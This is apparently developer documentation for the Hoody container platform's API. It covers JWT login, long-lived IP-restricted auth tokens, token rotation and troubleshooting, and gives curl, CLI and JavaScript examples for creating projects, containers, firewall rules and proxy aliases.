## Token Comparison

| Feature | JWT (Login) | Auth Token (hdy_...) |
|---------|-------------|----------------------|
| **Lifetime** | 1 day (access)<br/>7 days (refresh) | Configurable (ISO 8601 date, "today", "tomorrow", or forever) |
| **Use Case** | User sessions | Automation, AI, scripts |
| **Refresh** | Yes (via refresh token) | No (create new when expired) |
| **IP Whitelist** | No | Yes (optional) |
| **Revocation** | Logout endpoint | Delete or disable |
| **Visibility** | Managed by browser | One-time show during creation |
| **Security** | Short-lived = more secure | Long-lived but IP-restricted |

---

## Complete Authentication Examples

### Example 1: User Login Flow

```bash
# 1. Login
curl -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "dev_user",
    "password": "strong_password_here"
  }'

# Response includes tokens
# {
#   "data": {
#     "token": "eyJhbG...",
#     "refreshToken": "eyJhbG...",
#     "user": { ... }
#   }
# }

# 2. Use access token (valid 1 day)
curl "https://api.hoody.icu/api/v1/projects" \
  -H "Authorization: Bearer eyJhbG..."

# 3. Refresh before expiration (within 7 days)
curl -X POST "https://api.hoody.icu/api/v1/users/auth/refresh" \
  -H "Content-Type: application/json" \
  -d '{"refreshToken": "eyJhbG..."}'

# 4. Logout (optional, invalidates session)
curl -X POST "https://api.hoody.icu/api/v1/users/auth/logout" \
  -H "Authorization: Bearer eyJhbG..."
```

### Example 2: Create Automation Token

```bash
# 1. Login to get JWT
curl -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
  -d '{"username": "your_username", "password": "your_password"}' \
  > login.json

# Extract JWT
JWT=$(cat login.json | jq -r '.data.token')

# 2. Create auth token for CI/CD
curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
  -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "GitHub Actions Deployment",
    "ip_whitelist": ["140.82.112.0/20"],
    "expires_at": "2027-04-12T00:00:00Z"
  }' > token.json

# Extract auth token
AUTH_TOKEN=$(cat token.json | jq -r '.data.token')

# 3. Save to GitHub Secrets as HOODY_TOKEN
echo "HOODY_TOKEN=$AUTH_TOKEN"

# 4. Use in GitHub Actions workflow
# - name: Deploy via Hoody API
#   env:
#     HOODY_TOKEN: ${{ secrets.HOODY_TOKEN }}
#   run: |
#     curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/start" \
#       -H "Authorization: Bearer $HOODY_TOKEN"
```

### Example 3: AI Agent Setup

```javascript
// AI agent configuration file
// .env
HOODY_TOKEN=hdy_abc123def456...
HOODY_PROJECT_ID=63f8b0e5c9a1b2d3e4f5a6b7

// agent.js
import 'dotenv/config';

class HoodyAgent {
  constructor() {
    this.token = process.env.HOODY_TOKEN;
    this.projectId = process.env.HOODY_PROJECT_ID;
    this.api = 'https://api.hoody.icu';
  }

  async callAPI(endpoint, options = {}) {
    return fetch(`${this.api}${endpoint}`, {
      ...options,
      headers: {
        'Authorization': `Bearer ${this.token}`,
        'Content-Type': 'application/json',
        ...options.headers
      }
    });
  }

  async spawnContainer(name, config) {
    const response = await this.callAPI(
      `/api/v1/projects/${this.projectId}/containers`,
      {
        method: 'POST',
        body: JSON.stringify({
          name,
          server_id: config.serverId,
          hoody_kit: true,
          ...config
        })
      }
    );
    return response.json();
  }

  async executeInContainer(containerId, command) {
    // First get container details to construct service URL
    const container = await this.callAPI(`/api/v1/containers/${containerId}`)
      .then(r => r.json());
    
    // Construct terminal URL
    const terminalUrl = `https://${this.projectId}-${containerId}-terminal-1.${container.data.server_name}.containers.hoody.icu`;
    
    // Execute command (no auth needed if container permissions are open)
    return fetch(`${terminalUrl}/execute`, {
      method: 'POST',
      body: JSON.stringify({ command })
    });
  }
}

// AI uses this class for ALL Hoody operations
const agent = new HoodyAgent();
await agent.spawnContainer('ai-workspace', { serverId: 'server-123' });
```

**The AI only needs environment variables.** No password handling. No credential management.

---

## Managing Tokens

### List All Tokens



### Update Token Configuration

**Change IP whitelist:**



**Extend expiration:**



**Temporarily disable:**



### Token Rotation Strategy

**Best practice for production:**

```bash
# 1. Create new token
NEW_TOKEN=$(curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
  -H "Authorization: Bearer YOUR_JWT" \
  -d '{"alias": "Production V2", "expires_at": "2027-04-12T00:00:00Z"}' \
  | jq -r '.data.token')

# 2. Update your services with new token
# (Deploy new environment variable to all services)

# 3. Wait 24-48 hours for old token usage to drop

# 4. Check old token is unused
curl "https://api.hoody.icu/api/v1/auth/tokens/{old_token_id}" \
  -H "Authorization: Bearer YOUR_JWT" \
  | jq '.data.last_used_at'

# 5. Delete old token
curl -X DELETE "https://api.hoody.icu/api/v1/auth/tokens/{old_token_id}" \
  -H "Authorization: Bearer YOUR_JWT"
```

---

## Common Patterns

### Pattern 1: Short-Lived Scripts

**For one-time operations:**



Use the token for your migration, and it will auto-expire tomorrow.

### Pattern 2: Per-Environment Tokens

**Different tokens for different environments:**

**Development token (permissive):**



**Staging token (IP-restricted):**



**Production token (strict):**



### Pattern 3: Emergency Revocation

**If a token is compromised:**

**1. Immediately disable:**



**2. Create replacement with different IP whitelist:**



**3. Update services, then delete old token:**



---

## Useful Questions

### Should I use JWT tokens or Auth Tokens for my scripts?

**Always use Auth Tokens (`hdy_...`) for scripts and automation.** JWTs from login are designed for short-lived user sessions and expire after 1 day. Auth Tokens can live for years with IP whitelisting and revocation support.

### Can I create an Auth Token using another Auth Token?

No. You must use a JWT from user login to create Auth Tokens. This prevents token proliferation—if an Auth Token is compromised, it can't create more tokens. Always keep one user account secure for Auth Token management.

### How do I share API access with my team without sharing passwords?

Create individual Auth Tokens for each team member with specific IP whitelists. Each person gets their own `hdy_...` token, and you can revoke any token independently if someone leaves the team.

### What happens when my JWT access token expires?

After 1 day, the access token expires. Use your refresh token (valid 7 days) to get a new access token via `POST /api/v1/users/auth/refresh`. If the refresh token also expires, you must login again with username/password.

### Can I use the same Auth Token across multiple servers or applications?

Yes, but treat that as convenience, not best practice. A single token can work across multiple projects/servers, yet isolation is stronger with separate tokens per app/environment.

For realm-restricted tokens:
- If `realm_ids` is non-empty (or `allow_no_realm: false`), use realm-scoped hosts like `https://{realmId}.api.hoody.icu`.
- Use `GET /api/v1/auth/tokens/me` on `https://api.hoody.icu` to discover allowed realms before selecting a realm host.

### How secure are Auth Tokens with no IP whitelist?

Without IP whitelist, a leaked token can be used from anywhere. While the token itself is cryptographically strong (60+ character random string), IP whitelisting adds defense-in-depth. Use it for production tokens, skip it for low-sensitivity automation.

### Can Auth Tokens expire while my script is running?

Yes. If a long-running script spans the expiration time, it will start getting 401 errors. For long processes, use generous expiration (a far-future ISO 8601 date or `null`) or implement token refresh logic that creates a new token before the old one expires.

### What's the difference between disabling and deleting an Auth Token?

**Disable** sets `is_enabled: false`—token stops working but you can re-enable it later with the same ID. **Delete** permanently removes the token—cannot be recovered. Use disable for temporary suspension, delete for permanent revocation.

### Can I use Auth Tokens with realm-scoped APIs?

Yes. Auth Tokens work with realm-scoped APIs (`{realmId}.api.hoody.icu`), and unrestricted tokens can also use the base API host.

Important behavior:
- Tokens with non-empty `realm_ids` are restricted to those realm IDs.
- Tokens with `allow_no_realm: false` cannot use base host for resource operations.
- Realm-restricted tokens can still call `GET /api/v1/auth/tokens/me` on base host to bootstrap realm discovery.

### How do I rotate Auth Tokens for zero-downtime updates?

Create the new token, deploy it to your services, verify the new token works, wait 24-48 hours, check old token's `last_used_at` is old, then delete the old token. Both tokens work simultaneously during the transition.

---

## Troubleshooting

### Login Fails (Invalid Credentials)

**Problem:** Login returns 401 with "Invalid credentials"

**Solutions:**

1. **Verify username/password:**



2. **Check account status:**
   - Account might be banned (`is_banned: true`)
   - Contact support if legitimate user

### JWT Token Expired

**Problem:** Requests return 401 after some time

**Cause:** Access token expires after 1 day

**Solution - Use refresh token:**



Returns new access token + new refresh token.

**Refresh token expired?** (after 7 days) - Login again

### Auth Token Not Working

**Problem:** `hdy_...` token returns 403 Forbidden

**Check IP whitelist:**



Compare the `ip_whitelist` array with your current IP (run `curl https://ifconfig.me` in terminal).

**Solution - Update whitelist:**



### Token Creation Returns 401

**Problem:** Can't create Auth Token, getting 401

**Cause:** You're using an Auth Token to create another Auth Token

**Solution:** Use a JWT from login instead:
```bash
# 1. Login first
curl -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
  -d '{"username": "your_username", "password": "your_password"}' \
  > login.json

# 2. Extract JWT
JWT=$(cat login.json | jq -r '.data.token')

# 3. Create Auth Token with JWT
curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
  -H "Authorization: Bearer $JWT" \
  -d '{"alias": "My Token", "expires_at": "2027-04-12T00:00:00Z"}'
```

### Lost Auth Token Value

**Problem:** Created token but didn't save the `hdy_...` value

**Reality:** Cannot retrieve token value after creation

**Solution:**

1. **Disable the old token:**



2. **Create new token:**



### Automation Breaking Randomly

**Problem:** Scripts work sometimes, fail other times with 403

**Likely cause:** IP whitelist + dynamic IP

**Check if your IP changed:**

Run `curl https://ifconfig.me` in terminal to get your current IP, then compare with token whitelist:



**Solutions:**

1. **Use CIDR range instead of single IP:**
   Instead of `"203.0.113.50/32"`, use `"203.0.113.0/24"` (allows entire subnet)

2. **Remove IP whitelist for non-sensitive automation:**



3. **Use static IP for automation servers**

---

## What's Next

**Now that you can authenticate:**

1. **[Create Projects](/foundation/projects-containers/)** - Organize your containers
2. **[Spawn Containers](/api/containers/)** - Create your first HTTP computer
3. **[Configure Networking](/foundation/networking/network/)** - Set up routing and firewall
4. **[Create Proxy Aliases](/foundation/proxy/aliases/)** - Get clean URLs for production

**Everything starts with authentication. Everything else is HTTP.**

---

> **User sessions use JWTs.**  
> **Automation uses Auth Tokens.**  
> **Never hardcode credentials.**  
> **Use environment variables. Use IP whitelists. Use expiration.**

**This is how you securely control infinite computers.**

---

# Hoody API

**Page:** foundation/hoody-api/index

[Download Raw Markdown](./foundation/hoody-api/index.md)

---

# Hoody API

**The Hoody API is your control plane.** It's how you create, configure, and orchestrate your infinite computers.

After reading [The Vision](/vision/obsolescence/), you understand Hoody's philosophy. Now you need to understand how to **actually use it**. The Hoody API is where everything begins.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains HOW the Hoody API works. For complete endpoint documentation, parameters, and responses:

**Core Management:**
- **[Authentication](/api/authentication/)** - Login, tokens, user sessions
- **[Auth Tokens](/api/auth-tokens/)** - Long-lived automation credentials
- **[Users](/api/users/)** - Profile management
- **[Projects](/api/projects/)** - Project CRUD operations
- **[Containers](/api/containers/)** - Container lifecycle management

**Networking & Security:**
- **[Realms](/api/realms/)** - API-level isolation
- **[Container Network](/api/container-network/)** - Proxy/VPN routing
- **[Container Firewall](/api/container-firewall/)** - Ingress/egress rules

**Proxy & Routing:**
- **[Proxy Aliases](/api/proxy-aliases/)** - Custom domain configuration
- **[Proxy Permissions](/api/proxy-permissions/)** - Access control

**Data & State:**
- **[Container Snapshots](/api/container-snapshots/)** - State management
- **[Container Copy & Sync](/api/container-copy-sync/)** - Duplication
- **[Storage Shares](/api/storage-shares/)** - Shared directories
- **[Container Images](/api/container-images/)** - OS images

---

## Two APIs, Two Purposes

**Critical distinction:** Hoody has TWO separate HTTP systems:

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Hoody API** (Platform Management)

```
https://api.hoody.icu
```

**What it controls:**
- ✅ User authentication
- ✅ Project creation
- ✅ Container spawning
- ✅ Network configuration
- ✅ Firewall rules
- ✅ Proxy aliases
- ✅ Snapshots
- ✅ Billing

**Mental model:** "The dashboard API"

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Container Services** (Hoody Kit)

```
https://{project}-{container}-terminal-1.node-us.containers.hoody.icu
https://{project}-{container}-display-1.node-us.containers.hoody.icu
https://{project}-{container}-files.node-us.containers.hoody.icu
```

**What they provide:**
- ✅ Terminal execution
- ✅ Desktop access
- ✅ File operations
- ✅ Database queries
- ✅ Browser automation
- ✅ Script execution
- ✅ +12 more services

**Mental model:** "The actual computers"

</div>

</div>

**The workflow:**

1. **Use Hoody API** to spawn a container
2. **Container gets URLs** for all its services automatically
3. **Use those URLs** to work with the container

The Hoody API creates the infrastructure. The container URLs ARE the infrastructure.

---

## What the Hoody API Does

**Think of it as the factory that builds your infinite computers:**

### 1. Authentication & Users

Manage your account and create access credentials:


  
    ```bash
    # Login as a user
    hoody auth login --username your_username --password your_password

    # Create long-lived API token for automation
    hoody auth create --alias "my-automation-token" --expires-at "2027-04-12T00:00:00Z"

    # Get current user profile
    hoody auth profile current
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Get current user profile
    const me = await client.api.authentication.getCurrentUser();
    console.log(me.data);

    // Create long-lived API token
    const token = await client.api.authTokens.create({
      alias: 'my-automation-token',
      expires_at: '2027-04-12T00:00:00Z'
    });
    ```
  
  
    ```bash
    # Login as a user
    curl -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
      -H "Content-Type: application/json" \
      -d '{"username": "your_username", "password": "your_password"}'

    # Create long-lived API token for automation
    curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "my-automation-token", "expires_at": "2027-04-12T00:00:00Z"}'

    # Get current user profile
    curl "https://api.hoody.icu/api/v1/users/auth/me" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


**See:** [Authentication →](./authentication/) | [API Reference →](/api/authentication/)

### 2. Projects (Organization)

Create folders to organize your containers:


  
    ```bash
    # Create a project
    hoody projects create --alias "my-project"

    # List your projects
    hoody projects list
    ```
  
  
    ```typescript
    // Create a project
    const project = await client.api.projects.create({ alias: 'my-project' });

    // List your projects
    const projects = await client.api.projects.list();
    ```
  
  
    ```bash
    # Create a project
    curl -X POST "https://api.hoody.icu/api/v1/projects/" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "my-project"}'

    # List your projects
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


**See:** [Projects & Containers →](/foundation/projects-containers/) | [API Reference →](/api/projects/)

### 3. Containers (Spawn Computers)

Create isolated computers with full capabilities:


  
    ```bash
    # Spawn a container in a project
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID --name "dev-env"

    # Container URLs are automatically constructed:
    # https://{project_id}-{container_id}-terminal-1.{server_name}.containers.hoody.icu
    # https://{project_id}-{container_id}-display-1.{server_name}.containers.hoody.icu
    # ... plus files, exec, workspaces, sqlite, cron, pipe, notifications, browser, code, daemon, tunnel, ssh, proxy, and dynamic http/https ports
    ```
  
  
    ```typescript
    // Spawn a container in a project
    const container = await client.api.containers.create(
      projectId,
      { name: 'dev-env', server_id: serverId, hoody_kit: true, dev_kit: true }
    );

    // Container URLs are automatically available
    console.log(container.data);
    ```
  
  
    ```bash
    # Spawn a container in a project
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name": "dev-env", "server_id": "'$SERVER_ID'", "hoody_kit": true, "dev_kit": true}'

    # Response includes container_id and server details
    # Container URLs are automatically constructed:
    # https://{project_id}-{container_id}-terminal-1.{server_name}.containers.hoody.icu
    # https://{project_id}-{container_id}-display-1.{server_name}.containers.hoody.icu
    # ... plus files, exec, workspaces, sqlite, cron, pipe, notifications, browser, code, daemon, tunnel, ssh, proxy, and dynamic http/https ports
    ```
  


**Within 30 seconds:** Container is running with all HTTP services live.

**See:** [Container Lifecycle →](/foundation/containers/managing/) | [API Reference →](/api/containers/)

### 4. Networking & Security

Configure how containers connect and communicate:

```bash
# Configure firewall rules
POST https://api.hoody.icu/api/v1/containers/{id}/firewall/ingress

# Route traffic through proxies/VPNs
PATCH https://api.hoody.icu/api/v1/containers/{id}/network

# Add an outbound firewall rule
POST https://api.hoody.icu/api/v1/containers/{id}/firewall/egress
```

**See:** [Networking →](/foundation/networking/network/) | [Firewall →](/foundation/networking/firewall/)

### 5. Proxy Configuration

Make containers accessible with clean URLs:

```bash
# Create custom alias: my-app.$serverName.containers.hoody.icu
POST https://api.hoody.icu/api/v1/proxy/aliases

# Configure permissions
PATCH https://api.hoody.icu/api/v1/containers/{id}/proxy/permissions
```

**See:** [Hoody Proxy →](/foundation/proxy/) | [Aliases →](/foundation/proxy/aliases/)

### 6. Storage & Snapshots

Manage persistent data and state:

```bash
# Snapshot a container (capture complete state)
POST https://api.hoody.icu/api/v1/containers/{id}/snapshots

# Share directories between containers
POST https://api.hoody.icu/api/v1/containers/{id}/storage/shares
```

**See:** [Snapshots →](/foundation/containers/snapshots/) | [Storage Shares →](/foundation/storage/sharing-files/)

### 7. Infrastructure Management

Control servers and resources:

```bash
# List your active server rentals
GET https://api.hoody.icu/api/v1/rentals

# Manage container images
GET https://api.hoody.icu/api/v1/images/public
```

**See:** [Servers →](/foundation/servers/) | [Images →](/foundation/containers/images/)

---

## The HTTP-First Design

**The Hoody API is pure REST.** This matters because:

### AI Understands It Immediately

LLMs were trained on HTTP. They know how to:
- Construct JSON payloads
- Make authenticated requests
- Parse responses
- Handle errors

**No SDK needed.** AI can orchestrate your entire infrastructure through HTTP:

```javascript
// AI generates this WITHOUT special training
const workflow = [
  {
    description: "Create project for client",
    call: "POST https://api.hoody.icu/api/v1/projects/",
    body: { alias: "client-acme", color: "#3498db" }
  },
  {
    description: "Spawn 3 containers: frontend, backend, database",
    call: "POST https://api.hoody.icu/api/v1/projects/{project_id}/containers",
    repeat: 3,
    body: { server_id: "...", hoody_kit: true, dev_kit: true }
  },
  {
    description: "Configure firewall for database",
    call: "POST https://api.hoody.icu/api/v1/containers/{db_id}/firewall/ingress",
    body: { action: "allow", protocol: "tcp", destination_port: "5432", source: "{backend_ip}" }
  }
];

// AI executes via HTTP, no custom SDK
for (const step of workflow) {
  const response = await fetch(step.call, {
    method: 'POST',
    headers: { 
      'Authorization': `Bearer ${process.env.HOODY_TOKEN}`,
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(step.body)
  });
}
```

### Any Language Works

Every programming language has HTTP libraries:


  
    ```bash
    # List all projects
    hoody projects list
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const projects = await client.api.projects.list();
    console.log(projects.data);
    ```
  
  
    ```bash
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**No SDK required.** HTTP is the SDK. Works from JavaScript, Python, Go, Ruby, or any language with an HTTP client.

---

## The Complete Workflow

Here's how everything connects:

```
1. AUTHENTICATE
   POST /api/v1/users/auth/login
   → Receive JWT tokens
   
2. CREATE AUTH TOKEN (for automation)
   POST /api/v1/auth/tokens
   → Get hdy_... token with IP whitelist, expiration
   → Use this in scripts/AI instead of user credentials

3. CREATE PROJECT
   POST /api/v1/projects/
   → Get project_id
   
4. SPAWN CONTAINER
   POST /api/v1/projects/{project_id}/containers
   → Get container_id, server_name
   → Container URLs automatically available:
     • https://{project_id}-{container_id}-terminal-1.{server_name}.containers.hoody.icu
     • https://{project_id}-{container_id}-display-1.{server_name}.containers.hoody.icu
     • https://{project_id}-{container_id}-exec-1.{server_name}.containers.hoody.icu
     • ... plus files, workspaces, sqlite, cron, pipe, notifications, browser, code, daemon, tunnel, ssh, proxy, and dynamic http/https ports

5. CONFIGURE (optional)
   PATCH /api/v1/containers/{id}/network         → Route through VPN
   POST /api/v1/containers/{id}/firewall/ingress → Add inbound firewall rule
   POST /api/v1/containers/{id}/firewall/egress  → Add outbound firewall rule
   POST /api/v1/proxy/aliases                    → Create custom domain

6. USE CONTAINER SERVICES
   # Now use the container URLs directly
   POST https://{project}-{container}-terminal-1.{server}.containers.hoody.icu/execute
   GET https://{project}-{container}-files.{server}.containers.hoody.icu/home/
```

**Hoody API builds it. Container URLs use it.**

---

## API Organization

The Hoody API is organized into logical groups:

### Core Management
- **[Authentication](/api/authentication/)** - Login, tokens, sessions
- **[API Tokens](/api/auth-tokens/)** - Long-lived automation credentials
- **[Users](/api/users/)** - Profile management
- **[Projects](/api/projects/)** - Project CRUD operations
- **[Containers](/api/containers/)** - Container lifecycle

### Networking & Access
- **[Realms](/api/realms/)** - API-level isolation (scope operations to specific realms via `{realmId}.api.hoody.icu`)
- **[Container Network](/api/container-network/)** - Proxy/VPN routing
- **[Container Firewall](/api/container-firewall/)** - Ingress/egress rules
- **[IPv4](/foundation/networking/ipv4/)** - Dedicated IP addresses

### Proxy & Routing
- **[Proxy Aliases](/api/proxy-aliases/)** - Custom domains (my-app.$serverName.containers.hoody.icu)
- **[Proxy Permissions (Project)](/api/proxy-permissions/)** - Project-level access control
- **[Proxy Permissions (Container)](/api/proxy-permissions/)** - Container-level overrides

### Data & State
- **[Container Snapshots](/api/container-snapshots/)** - Time travel for containers
- **[Container Copy & Sync](/api/container-copy-sync/)** - Duplicate and sync containers
- **[Storage Shares](/api/storage-shares/)** - Share directories between containers
- **[Container Images](/api/container-images/)** - OS images and marketplace

### Infrastructure
- **[Notifications](/api/notifications/)** - Platform announcements
- **[Wallet](/api/wallet/)** - Billing and credits

---

## Standard Patterns

### Authentication

**Every request requires authentication:**


  
    ```bash
    # Login (stores credentials locally)
    hoody auth login --username your_username --password your_password

    # All subsequent commands use the stored token
    hoody projects list
    hoody containers list
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    // Option 1: Auth Token (recommended for automation)
    const client = new HoodyClient({
      baseURL: 'https://api.hoody.icu',
      token: process.env.HOODY_TOKEN  // hdy_... token
    });

    // All API calls are authenticated automatically
    const projects = await client.api.projects.list();
    ```
  
  
    ```bash
    # Option 1: User JWT (from login)
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

    # Option 2: Auth Token (recommended for automation)
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer hdy_abc123def456..."
    ```
  


**For automation/AI:** Use Auth Tokens (long-lived, IP-restricted, revocable).
**For user sessions:** Use JWT from login (short-lived, refresh-able).

### Error Handling

**Standard error response:**

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Detailed explanation of what went wrong"
}
```

**Common status codes:**
- `400` - Bad Request (validation errors)
- `401` - Unauthorized (missing/invalid token)
- `403` - Forbidden (insufficient permissions)
- `404` - Not Found (resource doesn't exist)
- `409` - Conflict (duplicate name, invalid state)
- `500` - Internal Server Error

### Pagination

**List endpoints support pagination:**

```bash
GET /api/v1/projects?page=1&limit=20&sort_by=created_at&sort_order=desc
```

**Response includes pagination metadata:**

```json
{
  "data": {
    "projects": [...],
    "pagination": {
      "total": 150,
      "page": 1,
      "limit": 20,
      "totalPages": 8
    }
  }
}
```

### Filtering & Sorting

**Many endpoints support filtering:**

```bash
# Filter containers by realm
GET /api/v1/containers?realm_id=507f1f77bcf86cd799439011

# Filter by status
GET /api/v1/containers?status=running

# Sort by creation date
GET /api/v1/projects?sort_by=created_at&sort_order=desc
```

---

## Why HTTP for Platform Management?

**Traditional platforms use:**
- CLI tools (installed binaries, version conflicts)
- Custom SDKs (language-specific, maintenance burden)
- Complex protocols (proprietary, hard to debug)

**Hoody uses pure HTTP:**
- ✅ Works from any language, any device
- ✅ AI agents understand it natively
- ✅ Curl-able, script-able, browser-based
- ✅ Observable, debuggable, auditable
- ✅ Compose-able with any HTTP service

**Example: AI orchestrates infrastructure without SDK:**

```javascript
// AI generates infrastructure workflow
async function deployClientProject(clientName) {
  const token = process.env.HOODY_TOKEN;
  const headers = { 
    'Authorization': `Bearer ${token}`,
    'Content-Type': 'application/json'
  };

  // 1. Create project
  const project = await fetch('https://api.hoody.icu/api/v1/projects/', {
    method: 'POST',
    headers,
    body: JSON.stringify({
      alias: `client-${clientName}`,
      color: '#3498db',
      max_containers: 50
    })
  }).then(r => r.json());

  // 2. Spawn 3 containers (frontend, backend, database)
  const containers = await Promise.all([
    'frontend', 'backend', 'database'
  ].map(name => 
    fetch(`https://api.hoody.icu/api/v1/projects/${project.data.id}/containers`, {
      method: 'POST',
      headers,
      body: JSON.stringify({
        name,
        server_id: 'your-server-id',
        hoody_kit: true,
        dev_kit: true
      })
    }).then(r => r.json())
  ));

  // 3. Create production alias
  await fetch('https://api.hoody.icu/api/v1/proxy/aliases', {
    method: 'POST',
    headers,
    body: JSON.stringify({
      container_id: containers[0].data.id,
      alias: `${clientName}-app`,
      program: 'http',
      index: 1
    })
  });

  // 4. Configure firewall for database
  await fetch(`https://api.hoody.icu/api/v1/containers/${containers[2].data.id}/firewall/ingress`, {
    method: 'POST',
    headers,
    body: JSON.stringify({
      action: 'allow',
      protocol: 'tcp',
      destination_port: '5432',
      source: `${containers[1].data.ipv4}/32`,
      description: 'Allow backend to database'
    })
  });

  return {
    projectId: project.data.id,
    containers: containers.map(c => ({
      name: c.data.name,
      terminalUrl: `https://${project.data.id}-${c.data.id}-terminal-1.${c.data.server_name}.containers.hoody.icu`,
      displayUrl: `https://${project.data.id}-${c.data.id}-display-1.${c.data.server_name}.containers.hoody.icu`
    }))
  };
}
```

**AI needs zero training.** It just uses HTTP.

---

## API Base URL

**Global API:**
```
https://api.hoody.icu
```

**Realm-Scoped API** (for multi-tenant isolation):
```
https://{realmId}.api.hoody.icu
```

When you use a realm-scoped URL:
- The subdomain realm must be a 24-char hex ID
- Read operations are scoped to resources in that realm
- Create/update operations preserve or merge that realm where supported
- Container creation also requires the target project to already belong to that realm
- API tokens can be restricted to specific realms
- Realm-restricted tokens can bootstrap via `GET /api/v1/auth/tokens/me` on base host
- Perfect for multi-tenant SaaS architectures

**See:** [Realms →](/foundation/hoody-api/realms/) for realm-based API isolation.

---

## Response Format

**All responses follow this structure:**

```json
{
  "statusCode": 200,
  "message": "Human-readable success message",
  "data": {
    // The actual response data
  }
}
```

**Errors include details:**

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Container name must be unique within project",
  "data": {
    "field": "name",
    "conflict": "staging-api"
  }
}
```

---

## Getting Started

**Your first API calls:**


  
    

    **Gives you:** JWT access token
  
  
    

    **Gives you:** `hdy_...` token for scripts/AI
  
  
    

    **Gives you:** Project ID
  
  
    

    **Gives you:** Container with 18 live HTTP service URLs
  


**That's it.** In 4 API calls, you have a running computer with terminal, display, files, database, and 14 more HTTP services.

---

## Useful Questions

### What's the difference between Hoody API and container service URLs?

The **Hoody API** (`api.hoody.icu`) manages your infrastructure—creating containers, configuring networks, managing billing. **Container service URLs** (`{project}-{container}-terminal-1.{server}.containers.hoody.icu`) are the actual computers you use—execute commands, access files, run applications.

Think of it like AWS: the AWS Console (Hoody API) vs. your EC2 instance (container URLs).

### Can I use the Hoody API without the Hoody Kit?

Yes! When creating containers, set `hoody_kit: false` to get a plain Linux container without the 18 HTTP services. You'll still use the Hoody API to manage it, but the container won't have terminal/files/display HTTP endpoints—just SSH and any services you install yourself.

### Do I need different auth tokens for different projects?

Not required, but recommended for blast-radius control. One token can cover multiple projects, while per-app/per-realm tokens are easier to audit and revoke.

### How quickly can I spawn a container via the API?

Typically **20-30 seconds** from API call to running container with all services live. Prespawn Templates can reduce this to **under 5 seconds** by maintaining pre-created container pools.

### Can AI agents directly use the Hoody API?

Absolutely. LLMs understand HTTP natively—they were trained on web data. An AI agent needs only a Hoody auth token (environment variable) and can immediately orchestrate your entire infrastructure through standard HTTP requests. No SDK required.

### What happens if I delete a project via the API?

**All containers in that project are immediately terminated and deleted.** This is permanent and cannot be undone. Always snapshot important containers before deleting projects. The CLI and MCP surfaces gate this with an interactive confirmation prompt; if you're calling the HTTP API directly, the call proceeds with no extra confirm parameter, so handle the prompt in your own tooling.

### Can I automate infrastructure with GitHub Actions?

Yes! Store your Hoody auth token as a GitHub Secret (`HOODY_TOKEN`), then use `curl` or any HTTP library in your workflows to manage containers. Common pattern: Deploy on push by creating/updating containers via the API.

### Is there a rate limit on the Hoody API?

Current rate limits are generous and designed for automation. You can spawn dozens of containers per minute. If you hit rate limits, the API returns `429 Too Many Requests` with retry timing. For enterprise-scale automation, contact support for increased limits.

### Can I scope operations to specific realms?

Yes. Use realm-scoped API URLs: `https://{realmId}.api.hoody.icu` instead of `https://api.hoody.icu`.

Key rules:
- `{realmId}` must be a 24-hex realm ID.
- Realm-restricted tokens (`realm_ids` non-empty or `allow_no_realm: false`) must use realm-scoped URLs for resource operations.
- `GET /api/v1/auth/tokens/me` is the bootstrap endpoint for discovering allowed realms.

### What's the maximum number of containers I can create?

There's no hard platform limit. Practical limits: server resources (CPU/RAM) and organization (managing hundreds of containers becomes complex). Use projects to organize, and consider prespawn templates for container pooling at scale.

---

## Troubleshooting

### 401 Unauthorized

**Problem:** All API requests return 401 Unauthorized

**Solutions:**

1. **Check token is included:**
   ```bash
   # Ensure Authorization header is present
   curl -v "https://api.hoody.icu/api/v1/projects" \
     -H "Authorization: Bearer $HOODY_TOKEN"
   
   # Look for: > Authorization: Bearer hdy_...
   ```

2. **Verify token format:**
   ```bash
   # JWT tokens start with: eyJ...
   # Auth tokens start with: hdy_...
   echo $HOODY_TOKEN
   ```

3. **Check token expiration:**



4. **Re-authenticate:**



### 403 Forbidden (Auth Token IP Whitelist)

**Problem:** Auth Token returns 403 Forbidden

